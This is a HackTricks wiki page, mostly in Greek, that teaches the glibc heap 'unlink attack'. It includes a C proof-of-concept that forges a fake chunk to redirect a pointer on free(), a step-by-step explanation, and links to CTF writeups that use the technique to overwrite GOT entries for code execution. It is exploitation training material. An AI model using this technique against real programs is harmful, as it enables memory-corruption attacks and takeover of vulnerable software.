Unlink Attack
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Όταν ανακαλύφθηκε αυτή η επίθεση, κυρίως επέτρεπε ένα WWW (Write What Where), ωστόσο, προστέθηκαν κάποιες έλεγχοι που καθιστούν την νέα έκδοση της επίθεσης πιο ενδιαφέρουσα και πιο περίπλοκη και άχρηστη.
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* Η επίθεση δεν λειτουργεί αν χρησιμοποιούνται tcaches (μετά την 2.26)
### Στόχος
Αυτή η επίθεση επιτρέπει να **αλλάξει ένας δείκτης σε ένα chunk ώστε να δείχνει 3 διευθύνσεις πριν από τον εαυτό του**. Αν αυτή η νέα τοποθεσία (περίγυρος της τοποθεσίας όπου βρισκόταν ο δείκτης) έχει ενδιαφέροντα στοιχεία, όπως άλλες ελεγχόμενες κατανομές / στοίβα..., είναι δυνατόν να διαβαστούν/επικαλυφθούν για να προκληθεί μεγαλύτερη ζημιά.
* Αν αυτός ο δείκτης βρισκόταν στη στοίβα, επειδή τώρα δείχνει 3 διευθύνσεις πριν από τον εαυτό του και ο χρήστης μπορεί δυνητικά να το διαβάσει και να το τροποποιήσει, θα είναι δυνατό να διαρρεύσει ευαίσθητες πληροφορίες από τη στοίβα ή ακόμα και να τροποποιήσει τη διεύθυνση επιστροφής (ίσως) χωρίς να αγγίξει το canary.
* Σε παραδείγματα CTF, αυτός ο δείκτης βρίσκεται σε έναν πίνακα δεικτών σε άλλες κατανομές, επομένως, κάνοντάς τον να δείχνει 3 διευθύνσεις πριν και έχοντας τη δυνατότητα να το διαβάσει και να το γράψει, είναι δυνατό να κάνει τους άλλους δείκτες να δείχνουν σε άλλες διευθύνσεις.\
Καθώς ο χρήστης μπορεί δυνητικά να διαβάσει/γράψει και τις άλλες κατανομές, μπορεί να διαρρεύσει πληροφορίες ή να επικαλύψει νέες διευθύνσεις σε αυθαίρετες τοποθεσίες (όπως στο GOT).
### Απαιτήσεις
* Κάποιος έλεγχος σε μνήμη (π.χ. στοίβα) για να δημιουργήσει μερικά chunks δίνοντας τιμές σε μερικά από τα χαρακτηριστικά.
* Διαρροή από τη στοίβα για να ρυθμιστούν οι δείκτες του ψεύτικου chunk.
### Επίθεση
* Υπάρχουν μερικά chunks (chunk1 και chunk2)
* Ο επιτιθέμενος ελέγχει το περιεχόμενο του chunk1 και τις κεφαλίδες του chunk2.
* Στο chunk1 ο επιτιθέμενος δημιουργεί τη δομή ενός ψεύτικου chunk:
* Για να παρακάμψει τις προστασίες, διασφαλίζει ότι το πεδίο `size` είναι σωστό για να αποφευχθεί το σφάλμα: `corrupted size vs. prev_size while consolidating`
* και τα πεδία `fd` και `bk` του ψεύτικου chunk δείχνουν εκεί όπου αποθηκεύεται ο δείκτης του chunk1 με offsets -3 και -2 αντίστοιχα, έτσι ώστε `fake_chunk->fd->bk` και `fake_chunk->bk->fd` να δείχνουν σε θέση στη μνήμη (στοίβα) όπου βρίσκεται η πραγματική διεύθυνση του chunk1:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Οι κεφαλίδες του chunk2 τροποποιούνται για να υποδείξουν ότι το προηγούμενο chunk δεν χρησιμοποιείται και ότι το μέγεθος είναι το μέγεθος του ψεύτικου chunk που περιέχεται.
* Όταν απελευθερωθεί το δεύτερο chunk, τότε αυτό το ψεύτικο chunk αποσυνδέεται συμβαίνοντας:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Προηγουμένως είχε γίνει ώστε `fake_chunk->fd->bk` και `fake_chunk->bk->fd` να δείχνουν στο ίδιο μέρος (την τοποθεσία στη στοίβα όπου αποθηκεύτηκε το `chunk1`, οπότε ήταν μια έγκυρη συνδεδεμένη λίστα). Καθώς **και οι δύο δείχνουν στην ίδια τοποθεσία**, μόνο η τελευταία (`fake_chunk->bk->fd = fake_chunk->fd`) θα έχει **επίδραση**.
* Αυτό θα **επικαλύψει τον δείκτη στο chunk1 στη στοίβα με τη διεύθυνση (ή τα bytes) που αποθηκεύονται 3 διευθύνσεις πριν στη στοίβα**.
* Επομένως, αν ένας επιτιθέμενος μπορούσε να ελέγξει ξανά το περιεχόμενο του chunk1, θα είναι σε θέση να **γράψει μέσα στη στοίβα** έχοντας τη δυνατότητα να επικαλύψει τη διεύθυνση επιστροφής παρακάμπτοντας το canary και να τροποποιήσει τις τιμές και τους δείκτες των τοπικών μεταβλητών. Ακόμα και τροποποιώντας ξανά τη διεύθυνση του chunk1 που αποθηκεύεται στη στοίβα σε μια διαφορετική τοποθεσία όπου αν ο επιτιθέμενος μπορούσε να ελέγξει ξανά το περιεχόμενο του chunk1 θα μπορούσε να γράψει οπουδήποτε.
* Σημειώστε ότι αυτό ήταν δυνατό επειδή οι **διευθύνσεις αποθηκεύονται στη στοίβα**. Ο κίνδυνος και η εκμετάλλευση μπορεί να εξαρτώνται από **πού αποθηκεύονται οι διευθύνσεις του ψεύτικου chunk**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Αναφορές
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Αν και θα ήταν περίεργο να βρείτε μια επίθεση unlink ακόμα και σε ένα CTF, εδώ έχετε μερικά writeups όπου χρησιμοποιήθηκε αυτή η επίθεση:
* Παράδειγμα CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* Σε αυτό το παράδειγμα, αντί για τη στοίβα υπάρχει ένας πίνακας διευθύνσεων malloc'ed. Η επίθεση unlink εκτελείται για να μπορέσει να κατανεμηθεί ένα chunk εδώ, επομένως να μπορεί να ελέγξει τους δείκτες του πίνακα των malloc'ed διευθύνσεων. Στη συνέχεια, υπάρχει μια άλλη λειτουργία που επιτρέπει να τροποποιηθεί το περιεχόμενο των chunks σε αυτές τις διευθύνσεις, που επιτρέπει να δείχνουν διευθύνσεις στο GOT, να τροποποιούν τις διευθύνσεις συναρτήσεων για να πάρουν διαρροές και RCE.
* Ένα άλλο παράδειγμα CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Ακριβώς όπως στο προηγούμενο παράδειγμα, υπάρχει ένας πίνακας διευθύνσεων κατανομών. Είναι δυνατό να εκτελεστεί μια επίθεση unlink για να γίνει η διεύθυνση στην πρώτη κατανομή να δείχνει μερικές θέσεις πριν από την αρχή του πίνακα και να επικαλύψει αυτή την κατανομή στη νέα θέση. Επομένως, είναι δυνατό να επικαλυφθούν οι δείκτες άλλων κατανομών ώστε να δείχνουν στο GOT του atoi, να το εκτυπώσουν για να πάρουν μια διαρροή libc και στη συνέχεια να επικαλύψουν το GOT του atoi με τη διεύθυνση σε ένα one gadget.
* Παράδειγμα CTF με προσαρμοσμένες συναρτήσεις malloc και free που εκμεταλλεύονται μια ευπάθεια πολύ παρόμοια με την επίθεση unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Υπάρχει μια υπερχείλιση που επιτρέπει τον έλεγχο των δεικτών FD και BK της προσαρμοσμένης malloc που θα είναι (προσαρμοσμένη) απελευθερωμένη. Επιπλέον, η heap έχει το exec bit, οπότε είναι δυνατό να διαρρεύσει μια διεύθυνση heap και να δείξει μια συνάρτηση από το GOT σε ένα heap chunk με shellcode για εκτέλεση.
<div data-gb-custom-block data-tag="hint" data-style='success'>
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Δείτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
</div>